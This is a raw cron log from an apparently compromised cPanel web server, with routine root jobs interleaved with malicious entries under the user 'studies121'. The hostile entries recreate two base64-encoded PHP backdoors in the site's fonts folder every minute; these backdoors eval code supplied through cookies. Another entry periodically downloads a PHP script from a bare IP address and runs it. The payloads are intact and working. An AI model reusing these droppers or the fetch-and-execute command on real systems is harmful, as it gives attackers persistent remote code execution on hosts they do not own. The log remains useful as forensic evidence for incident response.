Sep  7 14:28:01 ip-184-168-122-23 CROND[11208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:28:01 ip-184-168-122-23 CROND[11209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:28:01 ip-184-168-122-23 CROND[11207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:29:01 ip-184-168-122-23 CROND[11398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:29:01 ip-184-168-122-23 CROND[11400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:29:01 ip-184-168-122-23 CROND[11402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:29:01 ip-184-168-122-23 CROND[11401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:30:01 ip-184-168-122-23 CROND[11514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:30:01 ip-184-168-122-23 CROND[11516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:30:01 ip-184-168-122-23 CROND[11517]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:30:01 ip-184-168-122-23 CROND[11519]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:30:01 ip-184-168-122-23 CROND[11520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:30:01 ip-184-168-122-23 CROND[11518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:30:01 ip-184-168-122-23 CROND[11521]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 14:30:01 ip-184-168-122-23 CROND[11527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:31:01 ip-184-168-122-23 CROND[11621]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:31:01 ip-184-168-122-23 CROND[11622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:31:01 ip-184-168-122-23 CROND[11623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:31:01 ip-184-168-122-23 CROND[11625]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 14:31:01 ip-184-168-122-23 CROND[11626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:32:01 ip-184-168-122-23 CROND[11714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:32:01 ip-184-168-122-23 CROND[11716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:32:01 ip-184-168-122-23 CROND[11715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:32:01 ip-184-168-122-23 CROND[11717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:32:01 ip-184-168-122-23 CROND[11718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:33:01 ip-184-168-122-23 CROND[11810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:33:01 ip-184-168-122-23 CROND[11812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:33:01 ip-184-168-122-23 CROND[11813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:33:01 ip-184-168-122-23 CROND[11814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:34:01 ip-184-168-122-23 CROND[12008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:34:01 ip-184-168-122-23 CROND[12010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:34:01 ip-184-168-122-23 CROND[12013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:34:01 ip-184-168-122-23 CROND[12012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:34:01 ip-184-168-122-23 CROND[12011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:35:01 ip-184-168-122-23 CROND[12104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:35:01 ip-184-168-122-23 CROND[12105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:35:01 ip-184-168-122-23 CROND[12103]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 14:35:01 ip-184-168-122-23 CROND[12108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:35:01 ip-184-168-122-23 CROND[12107]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:35:01 ip-184-168-122-23 CROND[12106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:35:01 ip-184-168-122-23 CROND[12109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:35:01 ip-184-168-122-23 CROND[12110]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 14:36:01 ip-184-168-122-23 CROND[12242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:36:01 ip-184-168-122-23 CROND[12245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:36:01 ip-184-168-122-23 CROND[12243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:36:01 ip-184-168-122-23 CROND[12246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:36:01 ip-184-168-122-23 CROND[12244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:37:01 ip-184-168-122-23 CROND[12352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:37:01 ip-184-168-122-23 CROND[12353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:37:01 ip-184-168-122-23 CROND[12354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:37:01 ip-184-168-122-23 CROND[12355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:38:01 ip-184-168-122-23 CROND[12440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:38:01 ip-184-168-122-23 CROND[12439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:38:01 ip-184-168-122-23 CROND[12437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:38:01 ip-184-168-122-23 CROND[12438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:38:01 ip-184-168-122-23 CROND[12442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:39:01 ip-184-168-122-23 CROND[12627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:39:01 ip-184-168-122-23 CROND[12628]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 14:39:01 ip-184-168-122-23 CROND[12626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:39:01 ip-184-168-122-23 CROND[12629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:39:01 ip-184-168-122-23 CROND[12625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:40:01 ip-184-168-122-23 CROND[12750]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 14:40:01 ip-184-168-122-23 CROND[12754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:40:01 ip-184-168-122-23 CROND[12755]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:40:01 ip-184-168-122-23 CROND[12757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:40:01 ip-184-168-122-23 CROND[12753]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
